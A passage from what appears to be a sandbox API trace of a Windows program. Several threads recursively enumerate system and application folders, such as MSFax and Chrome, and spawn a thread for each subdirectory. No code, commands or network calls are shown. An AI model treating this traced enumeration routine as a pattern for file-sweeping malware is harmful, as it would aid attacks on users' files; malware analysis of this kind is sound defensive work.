ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0150.953] FindClose (in: hFindFile=0x1ced5620 | out: hFindFile=0x1ced5620) returned 1 [0150.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21050) returned 1 [0150.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5b20) returned 1 [0150.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 Thread: id = 1907 os_tid = 0xd84 [0133.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7c1cd0 [0133.931] wcscpy (in: _Dest=0x1b7c1cd0, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox" [0133.931] wcscat (in: _Dest=0x1b7c1cd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\" [0133.931] wcscat (in: _Dest=0x1b7c1cd0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*" [0133.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20690 [0133.931] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5680 [0133.933] wcscmp (_String1=".", _String2=".") returned 0 [0133.933] FindNextFileW (in: hFindFile=0x1ced5680, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.933] wcscmp (_String1="..", _String2=".") returned 1 [0133.933] wcscmp (_String1="..", _String2="..") returned 0 [0133.933] FindNextFileW (in: hFindFile=0x1ced5680, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0133.933] FindClose (in: hFindFile=0x1ced5680 | out: hFindFile=0x1ced5680) returned 1 [0133.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20690) returned 1 [0133.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 [0133.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3490) returned 1 Thread: id = 1908 os_tid = 0xd94 [0133.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7a3490 [0133.936] wcscpy (in: _Dest=0x1b7a3490, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue" [0133.936] wcscat (in: _Dest=0x1b7a3490, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\" [0133.936] wcscat (in: _Dest=0x1b7a3490, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*" [0133.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20690 [0133.936] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5680 [0133.936] wcscmp (_String1=".", _String2=".") returned 0 [0133.937] FindNextFileW (in: hFindFile=0x1ced5680, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.937] wcscmp (_String1="..", _String2=".") returned 1 [0133.937] wcscmp (_String1="..", _String2="..") returned 0 [0133.937] FindNextFileW (in: hFindFile=0x1ced5680, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0133.937] FindClose (in: hFindFile=0x1ced5680 | out: hFindFile=0x1ced5680) returned 1 [0133.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20690) returned 1 [0133.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3490) returned 1 [0133.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3260) returned 1 Thread: id = 1909 os_tid = 0xda4 [0133.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b869440 [0133.942] wcscpy (in: _Dest=0x1b869440, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems" [0133.942] wcscat (in: _Dest=0x1b869440, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\" [0133.942] wcscat (in: _Dest=0x1b869440, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*" [0133.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20690 [0133.942] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5680 [0133.942] wcscmp (_String1=".", _String2=".") returned 0 [0133.942] FindNextFileW (in: hFindFile=0x1ced5680, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.942] wcscmp (_String1="..", _String2=".") returned 1 [0133.942] wcscmp (_String1="..", _String2="..") returned 0 [0133.942] FindNextFileW (in: hFindFile=0x1ced5680, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0133.942] FindClose (in: hFindFile=0x1ced5680 | out: hFindFile=0x1ced5680) returned 1 [0133.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20690) returned 1 [0133.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869440) returned 1 [0133.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3340) returned 1 Thread: id = 1910 os_tid = 0xdac [0133.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869440 [0133.947] wcscpy (in: _Dest=0x1b869440, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" [0133.947] wcscat (in: _Dest=0x1b869440, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\" [0133.947] wcscat (in: _Dest=0x1b869440, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*" [0133.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20690 [0133.948] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5680 [0133.948] wcscmp (_String1=".", _String2=".") returned 0 [0133.948] FindNextFileW (in: hFindFile=0x1ced5680, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.948] wcscmp (_String1="..", _String2=".") returned 1 [0133.948] wcscmp (_String1="..", _String2="..") returned 0 [0133.948] FindNextFileW (in: hFindFile=0x1ced5680, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0133.948] wcscmp (_String1="en-US", _String2=".") returned 1 [0133.948] wcscmp (_String1="en-US", _String2="..") returned 1 [0133.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a45c0 [0133.948] wcscpy (in: _Dest=0x202a45c0, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" [0133.948] wcscat (in: _Dest=0x202a45c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\" [0133.949] wcscat (in: _Dest=0x202a45c0, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" [0150.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a45c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b9c [0150.955] FindNextFileW (in: hFindFile=0x1ced5680, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0150.956] FindClose (in: hFindFile=0x1ced5680 | out: hFindFile=0x1ced5680) returned 1 [0150.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20690) returned 1 [0150.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869440) returned 1 [0150.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 Thread: id = 1911 os_tid = 0xdb4 [0133.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4ec0 [0133.951] wcscpy (in: _Dest=0x202a4ec0, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0133.951] wcscat (in: _Dest=0x202a4ec0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0133.951] wcscat (in: _Dest=0x202a4ec0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*" [0133.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f0a0 [0133.952] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced57a0 [0133.952] wcscmp (_String1=".", _String2=".") returned 0 [0133.953] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.953] wcscmp (_String1="..", _String2=".") returned 1 [0133.953] wcscmp (_String1="..", _String2="..") returned 0 [0133.953] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0133.953] wcscmp (_String1="en-US", _String2=".") returned 1 [0133.953] wcscmp (_String1="en-US", _String2="..") returned 1 [0133.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20508810 [0133.953] wcscpy (in: _Dest=0x20508810, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0133.953] wcscat (in: _Dest=0x20508810, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0133.953] wcscat (in: _Dest=0x20508810, _Source="en-US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0150.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20508810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba0 [0150.959] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7523740, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7523740, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f416c90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0150.959] wcscmp (_String1="MSTTSCommon.dll", _String2=".") returned 1 [0150.959] wcscmp (_String1="MSTTSCommon.dll", _String2="..") returned 1 [0150.959] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7b630d6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7b630d6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f4f9d60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSDecWrp.dll", cAlternateFileName="")) returned 1 [0150.959] wcscmp (_String1="MSTTSDecWrp.dll", _String2=".") returned 1 [0150.960] wcscmp (_String1="MSTTSDecWrp.dll", _String2="..") returned 1 [0150.960] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf80be232, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf80be232, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f6c4d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0150.960] wcscmp (_String1="MSTTSEngine.dll", _String2=".") returned 1 [0150.960] wcscmp (_String1="MSTTSEngine.dll", _String2="..") returned 1 [0150.960] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf9b217, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xfaf9b217, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0150.960] wcscmp (_String1="MSTTSLoc.dll", _String2=".") returned 1 [0150.960] wcscmp (_String1="MSTTSLoc.dll", _String2="..") returned 1 [0150.960] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf9b217, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xfaf9b217, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0150.960] FindClose (in: hFindFile=0x1ced57a0 | out: hFindFile=0x1ced57a0) returned 1 [0150.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f0a0) returned 1 [0150.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4ec0) returned 1 [0150.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afbb0) returned 1 Thread: id = 1912 os_tid = 0x10a4 [0133.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a41d0 [0133.956] wcscpy (in: _Dest=0x202a41d0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0133.956] wcscat (in: _Dest=0x202a41d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0133.956] wcscat (in: _Dest=0x202a41d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*" [0133.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fcd0 [0133.956] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*", lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5800 [0133.956] wcscmp (_String1=".", _String2=".") returned 0 [0133.956] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.974] wcscmp (_String1="..", _String2=".") returned 1 [0133.974] wcscmp (_String1="..", _String2="..") returned 0 [0133.974] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe661340, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110.manifest", cAlternateFileName="580302~1.MAN")) returned 1 [0133.974] wcscmp (_String1="58.0.3029.110.manifest", _String2=".") returned 1 [0133.974] wcscmp (_String1="58.0.3029.110.manifest", _String2="..") returned 1 [0133.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0133.974] wcscpy (in: _Dest=0x107780, _Source="C:\\Program Files 